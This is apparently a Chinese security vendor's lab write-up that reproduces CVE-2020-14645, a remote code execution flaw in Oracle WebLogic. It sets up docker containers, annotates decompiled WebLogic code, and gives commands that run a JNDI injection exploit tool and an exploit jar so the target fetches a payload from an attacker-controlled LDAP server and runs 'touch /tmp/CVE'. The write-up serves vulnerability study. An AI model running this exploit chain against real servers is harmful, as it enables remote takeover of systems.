服务热线
18696195380/18672920250
发布时间:2020-11-23
简要描述:
1.1 状态完成漏洞挖掘条件分析、漏洞复现。1.2 简介WebLogic 是美国 Oracle 公司的 Java 应用服务器,确切说是一个中间件,被用于WEB应用、数据库应用等的集成开发部署。WebLog...
docker build --build-arg JDK_PKG=jdk-8u181-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.2.1.4.0_wls_lite_generic.jar -t weblogic122140jdk8u181new .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic122140jdk8u181new weblogic122140jdk8u181new
对于由 ubuntu 镜像生成的 ubuntu-JNDI 容器【ip:172.17.0.3】,将 jdk-8u181-linux-x64.tar.gz、JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar拷贝至容器内,参照【https://www.cnblogs.com/hellojesson/p/11684299.html】安装好jdk,执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/CVE -A 172.17.0.3
对于由ubuntu镜像生成的ubuntu-gongji容器【ip:172.17.0.4】,将jdk-8u181-linux-x64.tar.gz、CVE-2020-14645.jar拷贝至容器内,参照【https://www.cnblogs.com/hellojesson/p/11684299.html】安装好jdk。1.4.2 目标在 WebLogic 服务器执行代码【touch /tmp/CVE】,从而在 tmp 文件夹下生成 CVE 文件。 初步认为,进入 else 分支中,即可调用任意方法,前提是 fProperty 为false。经研究,fProperty 由 !this.m_fMethod 决定,其赋值如下 init() 函数:Class clzTarget = oTarget.getClass()
Class[] clzParam = ClassHelper.getClassArray(aoParam)
String sCName = this.getCanonicalName();#【无参的函数或空值】
boolean fProperty = this.isPropertyExtractor()
Method method = null
if (fProperty) {#【方法对象的获取只有一个条件】
String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);#【首字母大写
for(int cchPrefix = 0; cchPrefix BEAN_ACCESSOR_PREFIXES.length ++cchPrefix)
method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);#【对由get/is+字符组成的新字符进行处理】【ClassHelper.findMethod查找与指定类、方法名称和参数匹配的重要方法】【指定函数必须由“get”或“is”开头,且无参】
}
} else {
method = ClassHelper.findMethod(clzTarget, this.getMethodName(), clzParam, false);
}
fProperty 方面,当 sCName 不是无参函数且非空时,fProperty 为 true。继续分析 String sCName = this.getCanonicalName();,追溯到类com.oracle.common.internal.util.CanonicalNames 的方法com.oracle.common.internal.util.CanonicalNames#computeValueExtractorCanonicalName(java.lang.String, java.lang.Object[]):protected void init() {
String sCName = this.getCanonicalName();
this.m_fMethod = sCName == null || sCName.endsWith("()");#【sCName为无参函数时符合要求】
}
综上,有三种方法。public static String computeValueExtractorCanonicalName(String sName, Object[] aoParam) {#【此方法要求函数必须是无参的】
int nMethodSuffixLength = "()".length();
if (aoParam != null #【参数非空则返回空】
} else if (!sName.endsWith("()")) {
return sName; #【函数名不以“()”结尾则返回函数名】
} else {
String sNameCanonical = sName;
int nNameLength = sName.length();
String[] var5 = VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES; #【“get”,“is”】
int var6 = var5.length;
for(int var7 = 0; var7 var6; ++var7) {
String sPrefix = var5[var7];
int nPrefixLength = sPrefix.length();
if (nNameLength > nPrefixLength #【函数名前几位是“get”/“is”,去除尾部“()”】
break;
}
}
return sNameCanonical;
}
}
cat ./ubuntu-xxx.tar | docker import - ubuntu-new
设置局域网及容器ip、启动容器,例子:(1)自定义网络docker network create --subnet=192.168.10.1/24 testnet
(2)启动 docker 容器docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
当容器【ubuntu-JNDI1106】的ip是172.17.0.3、容器【ubuntu-gongji1106】的ip是172.17.0.5、容器【weblogic122140jdk8u181new1106】的ip是172.17.0.4时,启动 weblogic 服务。进入容器【weblogic122140jdk8u181new1106】,输入命令sh /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh
启动成功,如下图。启动 JNDI 服务。进入容器【ubuntu-JNDI1106】,依次输入命令source /etc/profile
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/CVE110667 -A 172.17.0.3
可知适用于 jdk1.8 的 JNDI 访问链接为【ldap://172.17.0.3:1389/usns1q】,如下图。发起攻击。进入容器【ubuntu-gongji1106】,依次输入命令source /etc/profile
java -jar CVE-2020-14645.jar 172.17.0.3:1389/usns1q http://172.17.0.4:7001
“172.17.0.3:1389/usns1q”部分为JNDI链接,攻击成功会返回weblogic版本,如下图。攻击成功后,容器【ubuntu-JNDI1106】会显示传输信息,如下图。攻击成功后,weblogic服务器会生成【CVE】文件,如下图。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
上一篇:浅析Punycode钓鱼攻击
下一篇:简单的docker蜜罐搭建
如果您有任何问题,请跟我们联系!
联系我们